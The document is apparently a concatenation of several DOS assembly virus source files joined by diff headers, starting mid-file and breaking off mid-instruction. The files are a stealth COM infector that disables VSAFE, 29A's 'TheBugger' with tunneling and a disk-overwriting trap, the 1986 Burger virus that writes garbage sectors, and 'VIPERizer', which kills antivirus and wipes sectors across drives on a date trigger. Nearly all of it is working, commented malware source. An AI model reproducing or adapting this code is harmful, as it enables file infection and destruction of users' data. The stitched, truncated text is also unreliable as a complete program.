pop ds ;move the code
push cs ;of my virus
pop es ;to cs:end+50
cld ;for encrypt
mov si,100h ;
mov di,offset fin + 50 ;
mov cx,offset fin - 100h ;
rep movsb ;
;----------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
enc: ;
xor byte ptr cs:[di],1 ;encrypt the virus
inc di ;code
loop enc ;
;---------------------------------------------------------
mov cx,offset fin
mov di,offset fin + 50 + (offset crypt - offset start) ;virus
mov dx,1
enc2: ;
ÿadd word ptr [di],04620h
xor word ptr [di],06e4ch
add word ptr [di],06023h
add byte ptr [di],04ah
xor byte ptr [di],068h
sub byte ptr [di],088h
xor byte ptr [di],0a8h
dec byte ptr [di]
not word ptr [di]
sub byte ptr [di],03h
sub byte ptr [di],097h
ÿinc di
inc di ;the virus code
loop enc2 ;
;--------------------------------------------
mov ah,40h ;
mov cx,offset fin - offset start ;copy the virus
mov dx,offset fin + 50 ;to end of file
int 21h ;
;----------------------------------------------------------
cerrar: ;
;restore the
mov ax,5701h ;date and time
mov cx,word ptr cs:[hora] ;file
mov dx,word ptr cs:[dia] ;
or cx,word ptr cs:[fecha] ;and mark the seconds
int 21h ;
;----------------------------------------------------------
mov ah,3eh ;
int 21h ;close the file
;----------------------------------------------------------
pop ds ;
pop es ;restore the
pop bp ;registers
pop di ;
pop si ;
popa ;
popf ;
;----------------------------------------------------------
pusha ;
;
mov ax,4301h ;restores the atributes
mov cx,word ptr cs:[attrib] ;of the file
int 21h ;
;
popa ;
;----------------------------------------------------------
pushf ;
pusha ; 8-( = f-prot
push si ;
push di ; 8-( = tbav
push bp ;
push es ; 8-) = I'm
push ds ;
;----------------------------------------------------------
mov ax,2524H ;
lea bx,error ;restore the
mov ds,bx ;errors handler
lea bx,error+2 ;
int 21h ;
;----------------------------------------------------------
pop ds ;
pop es ;
pop bp ;restore the
pop di ;resgisters
pop si ;
popa ;
popf ;
;----------------------------------------------------------
JMP A3 ;jmp to orig. INT 21
;
;**********************************************************
; SUBRUTINES AREA
;**********************************************************
;
movedor: ;
;
xor cx,cx ;use to move file pointer
xor dx,dx ;
int 21h ;
ret ;
;----------------------------------------------------------
all: ;
;
XOR AL,AL ;use to set
iret ;error flag
;***********************************************************
; DATA AREA
;***********************************************************
largo dw ?
jump db 0e9h
real db 0cdh,20h,0
hora dw ?
dia dw ?
attrib dw ?
int21 dd ?
error dd ?
ÿ;------------------------
action: ;Nothing Action!
NOP ;only replicate
ret ;Return to call
;------------------------
ÿ;---------------------------------
ANTI_V: ;
MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
MOV DX,5945H ;
INT 21H ;
ret ;
;---------------------------------
ÿ;*****************************************************
dir_s:
pushf
push cs
call a3 ;Get file Stats
test al,al ;Good FCB?
jnz no_good ;nope
push ax
push bx
push es
mov ah,51h ;Is this Undocmented? huh...
int 21h
mov es,bx
cmp bx,es:[16h]
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh ;Get file DTA
int 21h
pop ax
inc al
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh ;UnMask Seconds Field
xor al,byte ptr cs:fechad
jnz not_infected
and byte ptr es:[bx+17h],0e0h
sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
sbb es:[bx+1fh],ax
not_infected:pop es
pop bx
pop ax
no_good: iret
;********************************************************************
; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
;*********************************************************************
ÿaction_dia Db 020H ;day for the action
action_mes Db 0dH ;month for the action
FECHA DW 01eH ;Secon for mark
FECHAd Db 01eH ;Secon for mark dir st
fin:
code ends
end start
@@ -0,0 +1,537 @@
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± ±±±
;±±± ðððððð ðð ðð ððððð ðððð ðð ðð ððððð ððððð ððððð ððððð ±±±
;±±± ðð ððððð ðð= ð==ð ðð ðð ðð ðð ðð= ðð ð ±±±
;±±± ðð ðð ðð ðð ð ð ðð ðð ðð ðð ðð ðð ðð ðððð ±±±
;±±± ðð ðð ðð ððððð ððððð ððððð ððððð ððððð ððððð ðð ð VIRUS. ±±±
;±±± ±±±
;±±± ¯¯¯ A 29A Research Code by The Slug. ®®® ±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
;±±± TheBugger is a simple COM infector with some interesting ±±±
;±±± inprovements. ±±±
;±±± ±±±
;±±± Its first difference with a normal COM virus is the tricky resident ±±±
;±±± check; it's designed to avoid lamers writing the typical resident ±±±
;±±± program wich returns the residency code and forces the virus to not ±±±
;±±± install in memory. To avoid that, the virus makes an extra check of ±±±
;±±± a random byte in the memory copy; if the check fails, it jumps to a ±±±
;±±± simulated HD formatting routine }:). ±±±
;±±± ±±±
;±±± Another interesting feature is the tunneling routine. It uses the ±±±
;±±± common code trace method but it starts tracing from PSP call to int ±±±
;±±± 21h instead of doing it from normal int 21h vector in order to avoid ±±±
;±±± resident antivirus stopping trace mode. This call is supported for ±±±
;±±± compatibility with older DOS versions and it has some little ±±±
;±±± diferences with the normal int 21 handler: first, the function code ±±±
;±±± is passed in cl register (not in ah as usual) and second, the ±±±
;±±± function to call can't be higher than 24h. These diferences are ±±±
;±±± handled by the O.S. in a separated routine and then it jumps to the ±±±
;±±± original int 21h handler, so the tunneling routine only skips the ±±±
;±±± first 'compatibility' routines and gets the real int 21h address €:).±±±
;±±± ±±±
;±±± The last big feature, is the infection method; the virus infects COM ±±±
;±±± files by changing a call in host code to point to it. This call may ±±±
;±±± be one between the second and fifth. This is done by intercepting ±±±
;±±± the int 21h service 4bh (exec), when a COM file is executed, the vi- ±±±
;±±± rus changes its first word with an int CDh call, it intercepts this ±±±
;±±± int and jumps to the int 21h. When the host starts running, it exe- ±±±
;±±± cutes the int CDh and then the virus takes control; it restores host ±±±
;±±± first word and changes int 01h to trace host in order to find a call ±±±
;±±± to infect }:) The use of int CDh can be avoided by tracing int 21h ±±±
;±±± until host code, but this way we have the same problem of resident ±±±
;±±± antivirus. ±±±
;±±± ±±±
;±±± And that's all folks :), enjoy it. ±±±
;±±± ±±±
;±±± 9  ±±±
;±±± The Slug/29A };){|0D==8±±±
;±±± I Love This Job. 3---ë-----±±±
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
.286
code segment 'TheBugger'
assume cs:code,ds:code,ss:code
org 0h
virsize equ (virend-start)+1
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Main C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
start: push cs ;address t0 return t0 h0st.
db 68h ;push '0ffset'.
retonno dw 0000
push ds es
pusha
call sig ;get nasty delta 0ffset.
sig: pop si
sub si, offset(sig)
mov ax, 0B0B0h ;resident check.
int 21h
cmp ax, 0BABAh
jne instal
jmp lstchk
instal: mov ah, 62h ;get PSP segment.
int 21h
xchg bx,ax ;get MCB addres.
dec ax
mov ds,ax
cmp byte ptr ds:[0],'Z' ;is the last MCB?
je chgmcb
jmp aprog
chgmcb: sub word ptr ds:[3],(virsize/10h)+8 ;change bl0ck size in MCB
sub word ptr ds:[12h],(virsize/10h)+8 ;& in PSP.
add ax,ds:[3]
inc ax
cld ;copy to new l0cati0n.
mov es, ax
xor di, di
push cs
pop ds
mov cx, virsize
rep movsb
push es ;jump t0 c0py.
push offset(newcpy)
retf
newcpy: mov si, 06h ;m0ve call t0 int 21,
lea di, PSPcall+1 ;fr0m PSP t0 c0py 0f virus.
movsw
movsw
mov ds, cx ;save curent int 21h vect0r.
mov si,21h*4 ;) cx=0
lea di,int21+1
movsw
movsw
mov word ptr ds:[01h*4], offset(tunn) ;hang tunneling code :)
mov word ptr ds:[01h*4]+2, es
pushf ;call int 21h fr0m PSP in trace m0de.
pop ax
or ah, 01h
push ax
mov cl, 0Bh ;get input status function (in cl ;).
popf
call PSPcall
mov word ptr [si-4], offset(hdl21) ;hang new int 21h handler.
mov word ptr [si-2], es
aprog: popa ;return t0 h0st.
pop es ds
retf
lstchk: in ax, 40h ;check rand0m w0rd of mem0ry c0py.
and ax, 0200h
push si
add si, ax
mov di, ax
cmpsw
pop si
je aprog
buuuhh: push cs ;display funny message :)
pop ds
lea dx, joke
add dx, si
mov ah,09h
int 21h
mov dx,0180h ;I think it's clear enought };).
mov cx,07FFh
funny: mov ax,0401h
int 13h
loop funny
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
credits db 'TheBugger virus by The Slug/29A'
intCD: int 0CDh ;int t0 detect h0st execution.
PSPcall: db 9Ah
dd 0 ;PSP call t0 int21h ;)
joke db 'Removing virus from memory...',13,10,'$'
;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int 21h Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
hdl21: cmp ax, 0B0B0h ;resident service?
jne func2
mov ax,0BABAh
push cs ;return virus segment in es
pop es ;f0r extra check.
iret
func2: cmp ax, 4B00h ;exec service?
je exec
int21: db 0EAh ;jmp t0 int 21h.
dd 0
exec: push ds es
pusha
pushf
mov si, dx ;c0py filespec.
push cs
pop es
lea di, path
next: lodsb
stosb
cmp al, 0
jne next
sub si, 4 ;is a .c0m file?
lodsw
xor ax, 2020h
cmp ax, 'oc'
jne nocom
call chgattr ;change file attributes.
mov ax, 3D02h ;0pen file.
int 03h
xchg bx, ax
call getdate ;get file time & date.
lea dx, firstb ;read first 3 bytes 0f file
mov cx, 3 ;t0 exe check & h0st detect rutine.
mov ah, 3Fh
int 03h
cmp word ptr cs:firstb, 'ZM' ;is an exe file (MZ sign)?
je exit
xor cx, cx ;g0 t0 file start again.
mov ax, 4200h
cwd ;dx <- 0 ;)
int 03h
lea dx, intCD ;write 'int CDh' c0de 0n file start
mov cx, 2 ;t0 detect h0st execution.
mov ah, 40h
int 03h
xor ax, ax ;change int CDh vect0r
mov es, ax ;f0r h0st detection.
mov ax, es:[0CDh*4]
mov intcddes, ax
mov ax, es:[0CDh*4]+2
mov intcdseg, ax
mov es:[0CDh*4], offset(fndhst)
mov es:[0CDh*4]+2, cs
exit: mov ah, 3Eh ;cl0se file.
int 03h
nocom: popf
popa
pop es ds
jmp int21
;±±±±±±±±±±±±±±±±±±±±±±±±±±± First Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±
tunn: push ds es bp ;trace int 21 f0r tunneling.
pusha
call getret ;get next instructi0n address in es:di.
cmp es:[di], 0FC80h ;is an 'cmp ax, ??'
jne fuera
cmp byte ptr es:[di+2], 24h ;avoid 'cmp ax, 24h'
je fuera
stop: xor bx, bx
mov es, bx
mov es:[03h*4], di ;make int 03h point to true int 21h ;)
mov es:[03h*4]+2, ax
lodsw ;trace m0de 0ff.
and ah, 0FEh
mov [si-2], ax
fuera: popa
pop bp es ds
iret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int CDh Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
fndhst: push ds es bp ;detect h0st c0de at exec.
pusha
call getret ;get next instructi0n dir.
chkhst: cmp di, 102h ;ensure it's h0st start :)
jne nohost
push cs
pop ds
mov ax, word ptr firstb ;rest0re first h0st w0rd in mem0ry.
dec di
dec di
stosw
lea dx, path ;0pen file.
push dx
mov ax, 3D02h
int 21h
xchg bx, ax
lea dx, firstb ;rest0re first w0rd 0f file.
mov cx, 2
mov ah, 40h
int 21h
call setdate ;rest0re file date & time.
mov ah ,3Eh ;cl0se file.
int 21h
pop dx
call setattr ;rest0re file attributes.
xor ax, ax ;rest0re int CDh vect0r.
mov es, ax
mov ax, intcddes
mov es:[0CDh*4], ax
mov ax, intcdseg
mov es:[0CDh*4]+2, ax
mov word ptr es:[01h*4], offset(fndcal) ;change int 01h vect0r
mov es:[01h*4]+2, cs ;t0 find a call.
mov numinstr, 0FFh ;max number 0f instr. t0 trace.
in ax, 40h ;ramd0m ch0se 0f call t0 infect (2-5).
and al, 03h
inc al
inc al
mov numcall, al
push ss ;rest0re 0riginal IP (100h) 0n stack.
pop ds
dec di
dec di
mov [si-4], di
lodsw ;trace m0de 0n
or ah, 01h
mov ss:[si-2], ax
nohost: popa
pop bp es ds
iret
;±±±±±±±±±±±±±±±±±±±±±±±±±±± Second Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±
fndcal: push ds es bp ;trace h0st t0 find a call t0 infect.
pusha
dec cs:numinstr ;check instructi0n trace limit.
jnz goon
jmp off
goon: call getret ;get ret address.
cmp di, cs:lstdsp ;d0 n0t c0unt 0ne m0re instructi0n
jne norep ;0n 'rep' prefixed instructi0ns.
inc cs:numinstr
norep: mov cs:lstdsp, di ;st0re actual return 0ffset.
mov ax, es:[di]
cmp al, 9Dh ;check f0r a p0pf.
jne chkirt
lodsw
lodsw
or ah, 01h ;ensure trap flag will be 0n.
mov [si-2], ax
jmp nocall
chkirt: cmp al, 0CFh ;check f0r a iret.
jne chkint
lodsw
lodsw
lodsw
lodsw
or ah, 01h ;ensure trap flag will be 0n.
mov [si-2], ax
anocall:jmp nocall
chkint: cmp al, 0CDh ;check f0r a int xx.
jne chkint3
cmp ah, 20h ;skip ints 20h, 21h & 20h
je anocall
cmp ah, 21h
je anocall
cmp ah, 27h
je anocall
mov cs:numint, ax ;int number t0 perf0rm call.
inc di ;inc ret addr t0 step 0ver int call.
inc di
mov [si-4], di
popa
pop bp es ds
numint dw 00 ;perf0rm int call in virus c0de.
iret
chkint3:cmp al, 0CCh ;check int 03h call.
jne chkcal
inc di
mov [si-4], di ;step 0ver int call.
jmp nocall
chkcal: cmp al, 0E8h ;check f0r a call t0 infect.
je found
jmp nocall
found: dec cs:numcall ;it's the nice 0ne ;)
je go
cmp cs:numinstr, 20 ;d0n't be s0 extrict in call number
jb go ;if there are t00 few calls.
jmp nocall
go: call chgattr ;change attributes.
mov ax, 3D02h ;0pen file.
int 03h
xchg bx, ax
call getdate ;get file date & time.
xor cx, cx ;m0ve t0 file call positi0n.
mov dx, di
sub dx, 100h
mov ax, 4200h
int 03h
lea dx, check ;read call fr0m file f0r c0mpress chk.
mov cx, 1
mov ah, 3Fh
int 03h
cmp check, 0E8h ;c0mpressed file?
je ok
jmp close
ok: xor cx, cx ;m0ves t0 end 0f file.
mov ax, 4202h
cwd ;dx <- 0 ;)
int 03h
mov hostsize, ax
sub ax, di ;find call parameter.
add ax, 0FDh
mov hostsize, ax ;f0r a new "call hostsize".
mov ax, es:[di+1] ;0ffset t0 return t0 h0st
add ax, di
add ax, 3
mov retonno, ax
lea dx, start ;save mi c0de at file end.
mov cx, virsize
mov ah, 40h
int 03h
xor cx, cx ;m0ves again t0 call.
sub di, 0FFh
mov dx, di
mov ax, 4200h
int 03h
lea dx, hostsize ;change it. }:)
mov cx, 2
mov ah, 40h
int 03h
close: call setdate ;rest0re file time & date.
mov ah, 3Eh ;cl0se file.
int 03h
lea dx, path
call setattr ;rest0re file attributes.
off: mov bp, sp
mov ax, ss:[bp+26] ;trace m0de 0ff.
and ah, 0FEh
mov ss:[bp+26], ax
nocall: popa
pop bp es ds
iret
;±±±±±±±±±±±±±±±±±±±±±±± Get Ret Address Fr0m Stack ±±±±±±±±±±±±±±±±±±±±±±±±±
getret: mov si, sp ;get next instructi0n dir.
add si, 24
push ss
pop ds
lodsw
mov di, ax
lodsw
mov es, ax
ret
;±±±±±±±±±±±±±±±±±±±±±±±± S0me File Handling C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±±
chgattr:push cs
pop ds
lea dx, path
mov ax,4300h ;change file attributes.
int 03h
mov attrib,cx
xor cx, cx ;reset file atributes.
mov ax,4301h
int 03h
ret
setattr:mov cx, attrib ;rest0re file attributes.
mov ax,4301h
int 03h
ret
getdate:mov ax,5700h ;get file time & date.
int 03h
mov time,cx
mov date,dx
ret
setdate:mov cx,time ;rest0re file time & date.
mov dx,date
mov ax,5701h
int 03h
ret
virend:
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Virtual Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
firstb db 3 dup(0) ;buffer f0r h0st start.
lstdsp dw 0 ;last trace 0ffset.
numinstr db 0 ;max. number 0f instructi0ns t0 trace.
numcall db 0 ;call t0 infect (2-5).
intcddes dw 0 ;int CD vect0r backup.
intcdseg dw 0
hostsize dw 0 ;it's just the h0st size ;)
attrib dw 0 ;file attributes.
time dw 0 ;file time.
date dw 0 ;file date.
check db 0 ;check f0r compressed file.
path db 0 ;path to host.
code ends
end start
@@ -0,0 +1,340 @@
; Program Virus Ver.: 1.1
; Copyright by R. Burger 1986
; This is a demonstration program for computer
; viruses. It has the ability to replicate itself,
; and thereby modify other programs
;
; Added A86 v3.22 compatibility 15 Dec 1991
; command line: a86 burger.asm burger.com +D
; Copyright (C) 1991 ==[ CyberZone ]== Jon A Johnson
page 70,120
Name BURGER
code segment
assume cs:code
progr equ 100h
org progr
; The three NOP's serve as the marker byte of the
; virus which allow it to identify a virus.
MAIN:
nop
nop
nop
; Initialize the pointers
mov ax,00
mov es:[pointer],ax
mov es:[counter],ax
mov es:[disks],al
; Get the selected drive
mov ah,19h ; drive?
int 21h
; Get the current path on the current drive
mov cs:drive,al ; save drive
mov ah,47h ; dir?
mov dh,0
add al,1
mov dl,al ; in actual drive
lea si,cs:old_path
int 21h
; Get the number of drives present
; If only one drive is present, the pointer for
; search order will be set to search order + 6
mov ah,0eh ; how many disks
mov dl,0
int 21h
mov al,01
cmp al,01 ; one drive?
jnz hups3
mov al,06
hups3:
mov ah,0
lea bx,search_order
add bx,ax
add bx,0001h
mov cs:pointer,bx
clc
; Carry is set, if no more .COM's are found.
; Then, to avoid unnecessary work, .EXE files will
; be renamed to .COM files and infected.
; This causes the error message "Program too large
; to fit in memory" when starting larger infected
; .EXE programs.
change_disk:
jnc no_name_change
mov ah,17h ; change exe to com
lea dx,cs:maske_exe
int 21h
cmp al,0ffh
jnz no_name_change ; .EXE found?
; If neither .COM nor .EXE is found, then sectors will
; be overwritten depending on the system time in
; milliseconds. This is the time of the complete
; "infection" of a storage medium. The virus can find
; nothing more to infect and starts its destruction.
mov ah,2ch ; read system clock
int 21h
mov bx,cs:pointer
mov al,cs:[bx]
mov bx,dx
mov cx,2
mov dh,0
int 26h ; write crap on disk
; Check if the end of the search order table has been
; reached. If so, end.
no_name_change:
mov bx,cs:pointer
dec bx
mov cs:pointer,bx
mov dl,cs:[bx]
cmp dl,0ffh
jnz hups2
jmp hops
; Get new drive from the search order table and
; select it.
hups2:
mov ah,0eh
int 21h ; change disk
; Start in the root directory
mov ah,3bh ; change path
lea dx,path
int 21h
jmp find_first_file
; Starting from the root, search for the first subdir
; First convert all .EXE files to .COM in the old
; directory.
find_first_subdir:
mov ah,17h ; change exe to com
lea dx,cs:maske_exe
int 21h
mov ah,3bh ; use root dir
lea dx,path
int 21h
mov ah,04eh ; Search for first subdirectory
mov cx,00010001b ; dir mask
lea dx,maske_dir
int 21h
jc change_disk
mov bx,CS:counter
INC BX
DEC bx
jz use_next_subdir
; Search for the next subdir. If no more directories
; are found, the drive will be changed.
find_next_subdir:
mov ah,4fh ; search for next subdir
int 21h
jc change_disk
dec bx
jnz find_next_subdir
; Select found directory.
use_next_subdir:
mov ah,2fh ; get dta address
int 21h
add bx,1ch
mov es:[bx],'\ ' ; address of name in dta
inc bx
push ds
mov ax,es
mov ds,ax
mov dx,bx
mov ah,3bh ; change path
int 21h
pop ds
mov bx,cs:counter
inc bx
mov CS:counter,bx
; Find first .COM file in the current directory.
; If there are none, search the next directory.
find_first_file:
mov ah,04eh ; Search for first
mov cx,00000001b ; mask
lea dx,maske_com
int 21h
jc find_first_subdir
jmp check_if_ill
; If the program is already infected, search for
; the next program.
find_next_file:
mov ah,4fh ; search for next
int 21h
jc find_first_subdir
; Check if already infected by the virus.
check_if_ill:
mov ah,3dh ; open channel
mov al,02h ; read/write
mov dx,9eh ; address of name in dta
int 21h
mov bx,ax ; save channel
mov ah,3fh ; read file
mov cx,buflen
mov dx,buffer ; write in buffer
int 21h
mov ah,3eh ; close file
int 21h
; Here we search for the three NOP's.
; If present, there is already infection. We must
; then continue the search.
mov bx,cs:offset[buffer] ; added A86 compatibility
cmp bx,9090h
jz find_next_file
; Bypass MS-DOS write protection if present
mov ah,43h ; write enable
mov al,0
mov dx,9eh ; address of name in dta
int 21h
mov ah,43h
mov al,01h
and cx,11111110b
int 21h
; Open file for read/write access.
mov ah,3dh ; open channel
mov al,02h ; read/write
mov dx,9eh ; address of name in dta
int 21h
; Read date entry of program and save for future use.
mov bx,ax ; channel
mov ah,57h ; get date
mov al,0
int 21h
push cx ; save date
push dx
; The jump located at address 0100h of the program
; will be saved for future use.
mov dx,cs:[conta] ; save old jmp
mov cs:offset[jmpbuf],dx ; added A86 compatibility
mov dx,cs:[buffer+1] ; save new jump
lea cx,cont-100h
sub dx,cx
mov cs:[conta],dx
; The virus copies itself to the start of the file.
mov ah,40h ; write virus
mov cx,buflen ; length buffer
lea dx,main ; write virus
int 21h
; Enter the old creation date of the file.
mov ah,57h ; write date
mov al,1
pop dx
pop cx ; restore date
int 21h
; Close the file
mov ah,3eh ; close file
int 21h
; Restore the old jump address.
; The virus saves at address "conta" the jump which
; was at the start of the host program.
; This is done to preserve the executability of the
; host program as much as possible.
; After saving it still works with the jump address
; contained in the virus. The jump address in the
; virus differs from the jump address in memory.
mov dx,cs:offset[jmpbuf] ; restore old jmp - A86 compat.
mov cs:[conta],dx
hops:
nop
call use_old
; Continue with the host program.
cont db 0e9h ; make jump
conta dw 0
mov ah,00
int 21h
; Reactivate the selected drive at the start of the
; program.
use_old:
mov ah,0eh ; use old drive
mov dl,cs:drive
int 21h
; Reactivate the selected path at the start of the
; program.
mov ah,3bh ; use old dir
lea dx,old_path-1 ; get old path and backslash
int 21h
ret
search_order db 0ffh,1,0,2,3,0ffh,00,0ffh
pointer dw 0000 ; pointer f. search order
counter dw 0000 ; counter f. nth. search
disks db 0 ; number of disks
maske_com db "*.com",00 ; search for com files
maske_dir db "*",00 ; search for dir's
maske_exe db 0ffh,0,0,0,0,0,00111111b
db 0,"????????exe",0,0,0,0
db 0,"????????com",0
maske_all db 0ffh,0,0,0,0,0,00111111b
db 0,"???????????",0,0,0,0
db 0,"????????com",0
buffer equ 0e000h ; a safe place
buflen equ 230h ; length of virus !!!!!!!
; careful
; if changing !!!!!!!
jmpbuf equ buffer+buflen ; a safe place for jmp
path db "\",0 ; first path
drive db 0 ; actual drive
back_slash db "\"
old_path db 32 dup(?) ; old path
code ends
end main
+413
View File
@@ -0,0 +1,413 @@
;
; VIPERizer, Strain B
; Copyright (c) 1992, Stingray/VIPER
; This is a Viral Inclined Programming Experts Ring Programming Team Production
;
; VIPER are: Stingray, Venom, and Guido Sanchez
;
MOV_CX MACRO X ; Here is just a simple "mov cx,xxxx" macro.
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
VCODE: JMP virus
NOP ; just a dud for the 'infected' file.
v_start equ $
virus: PUSH CX
mov ax,0ff0fh ; Thanks to RABID... Change Mem Marker
int 21h
cmp ax,101h ; Is VirexPC/FluShit in memory?
jne more_virus ; Nope.
jmp quit ; FUCK!!!!!
more_virus:
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
; The 2nd and 3rd bytes get modified.
CLD ;Pointers will be auto INcremented
MOV SI,DX ;Access data as offset from SI
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
MOV DI,OFFSET 100H ;`cause all .COM files start at 100H
mov cx,3
REPZ MOVSB ;Restore original first 3 bytes of .COM
MOV SI,DX ;Keep SI pointing to the data area
MOV AH,30H
INT 21H
nop
CMP AL,0 ;0 means it's version 1.X
JNZ dos_ok ;For version 2.0 or greater
JMP quit ;Don't try to infect version 1.X
dos_ok:
mov ah,2ch ; Get Time
int 21h ; Do it.
xor bx,bx ; VIPERize bx, for later use.
cmp dl,4 ; hund's of seconds 4?
jle print_message ; If 4 or less, print a message.
; This serves as a random 1 in 20
; chance of the message printing
jmp short get_date ; No? What date is it...?
print_message:
mov dl, byte ptr [si+msg+bx] ; Get a byte of our message...
or dl,dl ; is it 0? (end of message)
jz get_date ; Get the date if it is...
sub dl,75 ; Unencrypt message
mov ah,2 ; Prepare to print one letter
int 21h ; do it!
inc bx ; point to next character.
jmp short print_message ; Do it again.
get_date:
mov ah,2ah ; What day is it?
int 21h ; Find out.
cmp dh,3 ; Is it february?
jne resume ; No? Oh well.
cmp dl,24 ; Is it valentines day?
jne resume ; No? Damn.
mov ah,2ch ; What time is it?
int 21h ; Find out.
cmp ch,7 ; Is it 7 hours?
jne resume ; No? C'est la vie...
cmp cl,45 ; Is it 45 minutes?
jne resume ; No? Too Bad...
xor bx,bx ; VIPERize bx
cool:
mov dl,byte ptr [si+msg2+bx] ; This is pretty much the
or dl,dl ; same as the above 'print'
jz no_mas ; function. except I didn't
sub dl,75 ; make it a procedure.
mov ah,2
int 21h
inc bx
jmp short cool
no_mas:
mov al,0 ; Start with drive default
phri:
mov cx,255 ; Nuke a few sectors
mov dx,1 ; Beginning with sector 1!!!
int 26h ; VIPERize them!!!! Rah!!!
jc error ; Uh oh. Problem.
add sp,2 ; Worked great. Clear the stack...
error:
inc al ; Get another drive!
cmp al,200 ; Have we fried 200 drives?
je done_phrying ; Yep.
jmp short phri ; Nope.
done_phrying:
cli ; Disable Interrupts
hlt ; Lock up computer.
resume:
PUSH ES
MOV AH,2FH
INT 21H
nop
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES ;Save the DTA address
POP ES
MOV DX,dta ;Offset of new DTA in virus data area
nop
ADD DX,SI ;Compute DTA address
MOV AH,1AH
INT 21H ;Set new DTA to inside our own code
nop
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0 ;ES:DI points to environment
find_path:
POP SI
PUSH SI ;Get SI back
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
nop
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
REPNZ SCASB ;Search for first character
MOV CX,4
check_next_4:
LODSB
SCASB
JNZ find_path ;If not all there, abort & start over
nop
LOOP check_next_4 ;Loop to check the next character
POP SI
POP ES
nop
MOV [SI+path_ad],DI ;Save the address of the PATH
MOV DI,SI
ADD DI,wrk_spc ;File name workspace
nop
MOV BX,SI ;Save a copy of SI
ADD SI,wrk_spc ;Point SI to workspace
MOV DI,SI ;Point DI to workspace
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended?
JNZ found_subdir ;If not, there are more subdirectories
JMP all_done ;Else, we're all done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH ;DS points to environment segment
nop
MOV DI,SI
MOV SI,ES:[DI+path_ad] ;SI = PATH address
ADD DI,wrk_spc ;DI points to file name workspace
move_subdir:
LODSB ;Get character
CMP AL,';' ;Is it a ';' delimiter?
JZ moved_one ;Yes, found another subdirectory
nop
CMP AL,0 ;End of PATH string?
JZ moved_last_one ;Yes
STOSB ;Save PATH marker into [DI]
JMP SHORT move_subdir
moved_last_one:
xor si,si
moved_one:
POP BX ;Pointer to virus data area
POP DS ;Restore DS
MOV [BX+path_ad],SI ;Address of next subdirectory
NOP
CMP CH,'\' ;Ends with "\"?
nop
JZ slash_ok ;If yes
MOV AL,'\' ;Add one, if not
STOSB
slash_ok:
MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
MOV SI,BX ;Restore SI
ADD SI,f_spec ;Point to "*.COM"
MOV CX,6
nop
REPZ MOVSB ;Move "*.COM",0 to workspace
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX points to "*.COM" in workspace
MOV CX,3 ;Attributes of Read Only or Hidden OK
INT 21H
nop
JMP SHORT find_first
find_next:
MOV AH,4FH
INT 21H
nop
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirectory
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1FH ;Mask to remove all but seconds
CMP AL,1FH ;62 seconds -> already infected
JZ find_next ;If so, go find another file
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
nop
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr] ;DI points to file name
PUSH SI ;Save SI
ADD SI,dta_nam ;Point SI to file name
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars ;Move characters until we find a 00
POP SI
MOV AX,OFFSET 4300H
nop
MOV DX,wrk_spc ;Point to \path\name in workspace
ADD DX,SI
INT 21H
nop
MOV [SI+old_att],CX ;Save the old attributes
MOV AX,OFFSET 4301H ;Set attributes
AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird)
nop
MOV DX,wrk_spc ;Offset of \path\name in workspace
ADD DX,SI ;Point to \path\name
INT 21H
nop
MOV AX,OFFSET 3D02H ;Read/Write
nop
MOV DX,wrk_spc ;Offset to \path\name in workspace
ADD DX,SI ;Point to \path\name
INT 21H
nop
JNB opened_ok ;If file was opened OK
JMP fix_attr ;If it failed, restore the attributes
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
nop
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,3FH
nop
MOV CX,3
